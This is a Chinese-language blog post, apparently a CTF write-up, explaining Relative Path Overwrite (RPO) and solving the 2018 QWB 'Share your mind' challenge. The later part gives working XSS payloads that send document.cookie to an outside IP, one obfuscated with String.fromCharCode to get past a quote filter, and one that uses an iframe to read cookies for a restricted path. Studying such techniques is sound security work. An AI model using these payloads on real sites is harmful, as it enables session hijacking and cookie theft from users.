RPO(Relative Path Overwrite)

Jan 1, 0001 00:00 · 152 words · 1 minute read ctf

越来越懒了,一篇总结断断续续写了好几天。

什么是RPO

RPO(Relative Path Overwrite)相对路径覆盖,主要就是利用服务端和客户端对url的处理的一些差异,来让客户端加载我们想让客户端加载的文件。而不是网站开发者想加载的文件。

利用的基础知识

源码

文件结构

rpo/
----yang/
--------index.php
--------a.js
----a.js

rpo/yang/index.php

hahahah
<script src="./a.js"></script>

rpo/yang/a.js

alert("i'm is yang/a.js");

rpo/a.js

alert("i'm is rpo/a.js");

服务端处理url中%2f和/的差异。

apache

url及返回结果

http://127.0.0.1/rpo/yang/index.php   #页面返回正常
http://127.0.0.1/rpo/yang%2findex.php #页面返回异常,显示Not Found

Nginx

url及返回结果

http://127.0.0.1/rpo/yang/index.php   #页面返回正常
http://127.0.0.1/rpo/yang%2findex.php #页面返回正常

从测试结果可以知道,Apache和Nginx对于%2f的处理并不相同。 Apache不会将’%2f’作为’/‘处理,所以执行的结果就是去rpo目录下寻找名为yang%2findex.php的文件,显然服务器并没有yang%2findex.php该文件,所以显示not found。 Nginx则不同,Nginx会将’%2f’作为’/‘去处理,所以执行的结果显示的为正常页面。

客户端对%2f的处理

客户端为什么会有对%2f的处理呢?客户端不是运行在用户的电脑上的吗?怎么会牵扯到服务器的文件? 刚开始我也是困惑在这里。我们来看代码。 在index.php有这样的一段js代码

<script src="./a.js"></script>

这里使用的是相对路径来加载js代码。 浏览器在加载相对路径的依据是url中的最后一个’/‘,需要注意的是浏览器不会对%2f进行解码。也就是说浏览器不会将’%2f’当作’\‘。

所以RPO实现的原理就是利用客户端和服务端对于%2f的处理方式不同。

简单复现

实验环境 - 服务端 Nginx - 客户端 谷歌浏览器 - 源码 服务端的源码就是文章前面给出的代码。

url为http://127.0.0.1/rpo/yang/index.php

图一

url为http://127.0.0.1/rpo/yang%2findex.php

图二

由图可知使用%2f和/加载的js文件并不相同。 RPO参考链接

Share your mind

2018年强网杯的一道题,比赛时没有做出来。赛后复现的时候学到了一些东西,记录一下。

知识点 - pathinfo模式 - xss打cookie

在主页查看源码可以看到以下代码 qwb1 我们可以看到这里使用了相对路径的引用,所以可能会存在RPO漏洞。 在网站的overview处可以查看在写过的内容。点开查看文章,查看文章页面的源代码,发现会自动给标题添加一个<h1>标签,文章内容没有做过任何处理。于是就可以在文章里写入js代码,在通过RPO来使浏览器执行我们写入的js代码。

查看文章的url

http://39.107.33.96:20000/index.php/view/article/2957

实现rpo的url

http://39.107.33.96:20000/index.php/view/article/2957/..%2f..%2f..%2f..%2findex.php

在理解怎么用RPO加载写入的文章的时候卡了比较久,因为后台代码是

<script src="../static/js/jquery.min.js"></script>

所以利用RPO加载的时候加载的不应该是2957/static/js/jquery.min.js的js文件内容吗? 这个js文件难道是用来存放我们写入的文章内容??? 这个js文件难道是为了出题才这样设置的??? 这听起来很作啊,出题师傅不会这样的吧。 然后查了很久,才知道有一个模式叫做pathinfo模式。(菜即是罪.)

什么是pathinfo模式? 在网站得url中有这样一种url,文件后面还跟有’/‘。这种/后面的内容pathinfo模式下会被当做参数。类似于 index.php?a=***。这是一种传参模式。 例如:

http://39.107.33.96:20000/index.php/view/article/2957

所以static/js/jquery.min.js在url中会被当做参数。

测试可知下面两个url的返回结果是一样的。

http://39.107.33.96:20000/index.php/view/article/2957/static/js/jquery.min.js

http://39.107.33.96:20000/index.php/view/article/2957

在知道了这个知识点之后,我们再来分析payload就明白到底是怎么加载我们写的文章内容的了。

请求的url
http://39.107.33.96:20000/index.php/view/article/2957/..%2f..%2f..%2f..%2findex.php
客户端代码
<script src="../static/js/jquery.min.js"></script>
请求加载的url
http://39.107.33.96:20000/index.php/view/article/2957/static/js/jquery.min.js

至此,整个RPO利用的流程就清晰了。 - 写文章时写入js代码 - 将RPO的url通过report提交到后台。 - 等待回显。

因为对引号过滤,所以使用String.fromCharCode(解ascii码)来绕过过滤。 打cookie的js代码

new Image().src="http://150.95.174.245:8888?a="+encodeURI(document.cookie);

最终写入文章内容

eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,49,53,48,46,57,53,46,49,55,52,46,50,52,53,58,56,56,56,56,63,97,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59));

收到回显 qwb2

HINT=Try to get the cookie of path “/QWB_fl4g/QWB/”

找了一个可以读取目录下的cookie的js代码。

var ad = document.createElement("iframe");
ad.src = "QWB_fl4g/QWB/";
ad.id = "frame";
document.body.appendChild(ad);
  ad.onload = function (){window.location.href="http://150.95.174.245:8888?a="+document.getElementById("frame").contentWindow.document.cookie;
}

提交后收到回显 qwb3

结束!

后记

这次比赛后明白了很多事情,意识到ctf这个东西锻炼的是自己的快速学习能力,而不是考察你做了多少题,当然做题也是不可或缺的,但是重要的还是思维而不是仅限于题目的知识点。 在刚开始接触ctf的时候,大哥说过这些,当时没有很多感触,现在回想,着实很有道理。或许人就是这样,只有经历过,才能明白前人说的道理。

tweet Share